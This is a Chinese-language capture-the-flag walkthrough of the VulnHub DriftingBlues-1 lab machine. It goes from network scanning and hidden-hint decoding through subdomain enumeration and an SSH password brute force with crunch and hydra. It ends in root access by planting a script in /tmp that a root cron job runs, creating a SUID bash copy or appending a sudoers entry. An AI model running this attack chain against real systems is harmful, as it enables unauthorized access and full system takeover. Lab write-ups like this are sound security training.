目标信息
描述:
难度等级:简单
获取标志
get flags
difficulty: easy
about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email (it should be on my profile) for troubleshooting or questions.
前期准备:
靶机地址:https://vulnhub.com/entry/driftingblues-1,625/
kali攻击机ip:192.168.56.4
靶机ip:192.168.56.6
1)扫描端口以及ip
首先对当前网段进行一个快速扫描
sudo arp-scan -I eth0 192.168.56.0/24
mac地址做一个比对
192.168.56.6
详细扫描
nmap -A -p- -sC -T4 192.168.56.6 -oN nmap.A
扫描结果:
- 端口信息:
- 端口22/tcp: 开放,运行SSH服务。
- 版本:OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
- SSH主机密钥:RSA、ECDSA、ED25519
- 端口80/tcp: 开放,运行HTTP服务。
- 版本:Apache httpd 2.4.18(Ubuntu)
- HTTP服务器标头:Apache/2.4.18(Ubuntu)
- HTTP标题:Drifting Blues Tech
- 端口22/tcp: 开放,运行SSH服务。
- 服务信息:
- 操作系统: Linux
- CPE(通用平台枚举): cpe:/o:linux:linux_kernel
- 服务检测: 扫描包含服务检测,以识别开放端口上运行的服务。
- 注意: 输出未显示关闭的TCP端口的结果,但提到有65533个关闭端口,状态为连接拒绝。
网站首页
http://192.168.56.6/
网站首页一大段英文,仔细一看,有两个邮箱信息
sheryl@driftingblues.box
eric@driftingblues.box
查看网站源码,发现一个使用base64
加密的隐藏数据,解密为/noteforkingfish.txt
<!-- L25vdGVmb3JraW5nZmlzaC50eHQ= -->
在线base64解密
访问/noteforkingfish.txt
可以看到一个加密的数据,使用Ook!编码。
解密得到提示:如何使用host文件到达我们的秘密位置,解密网站: splitbrain.org
my man, i know you are new but you should know how to use host file to reach our secret location. -eric
翻译英语
提示很明显, 本地dns解析
根据提示修改hosts文件,网站里唯一出现的域名添加上去
vim /etc/hosts
192.168.56.6 driftingblues.box
但是加入后访问和原来的一样,看到提示中有host file
,考虑可能需要添加子域名
2)扫描敏感目录
我们这里使用gobuster
进行本地域名扫描
gobuster vhost -u driftingblues.box -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt | grep "Status: 200"
继续添加到hosts中
test.driftingblues.box
访问子域名结果如下
得到提示,方向是正确的,有没有发现eric
一直有在出现,可能为有用信息
这下用dirb
对子域名进行一目录扫描
dirb http://test.driftingblues.box
看到了robots.txt
文件,对这个文件进行访问
访问ssh_cred.txt
文件
出现一串英文
翻译查看
提示信息给出了ssh的密码为1mw4ckyyucky
(12位)加上一个数字,我们就可以使用crunch
命令生成字典进行爆破
3)漏洞探测
crunch 13 13 -t 1mw4ckyyucky% > password.txt
上面一直出现eric
这个英文,猜测他为用户名
hydra -l eric -P password.txt ssh://192.168.56.6 -V
得出密码1mw4ckyyucky6
4)漏洞利用
到了ssh账户密码,接下来进行ssh登录
ssh eric@192.168.56.6
1mw4ckyyucky6
sudo -l
看一下
发现权限很低,不能进行提权
查看权限和SUID文件:
find / -perm -u=s -type f 2> /dev/null -exec ls -ldb {} \;
suid
文件也没发现可以利用的
5)提权
只能在靶机内部尝试找到存在root权限执行的文件或者脚本.
第一个flag
四处翻找文件,根据提示发现在/var/backups
文件夹下有backup.sh
文件,该文件在/tmp
创建backip.zip
备份文件,并且backip.zip
文件是root权限的文件
查看这个.sh
文件
尝试执行backup.sh
失败,权限不够
看了一下tmp
目录下的backuip.zip
这个压缩包创建时间大胆猜测靶机有计划任务每隔一段时间执行backup.sh
文件,且为root用户
可以根据backup.sh
文件会执行sudo /tmp/emergency
命令,在tmp文件夹下创建一个emergency
文件进行提权
echo 'cp /bin/bash /tmp/getroot; chmod +s /tmp/getroot' > /tmp/emergency
chmod +x emergency
cp /bin/bash /tmp/getroot
: 复制系统中的 Bash 可执行文件到/tmp
目录,并将其命名为getroot
。chmod +s /tmp/getroot
: 对/tmp/getroot
文件设置 SetUID 位,允许以该文件所有者的权限执行,即拥有 root 权限的用户运行/tmp/getroot
将拥有 root 权限。- 使用
chmod +x
命令将/tmp/emergency
文件设置为可执行。
./getroot -p
使用 sudo ./getroot -p
命令以超级用户权限运行 /tmp/getroot
文件,并传递 -p
参数
此时已经是root权限了
拿到第二个flag
也可以将eric用户加入sudo组,然后sudo提权
echo " echo 'eric ALL=(ALL:ALL) ALL' >> /etc/sudoers" > /tmp/emergency
靶机渗透总结:
1.自动任务提权的思路
2.gobuster
工具爆破子域名
3.crunch
生成密码列表的命令行工具的使用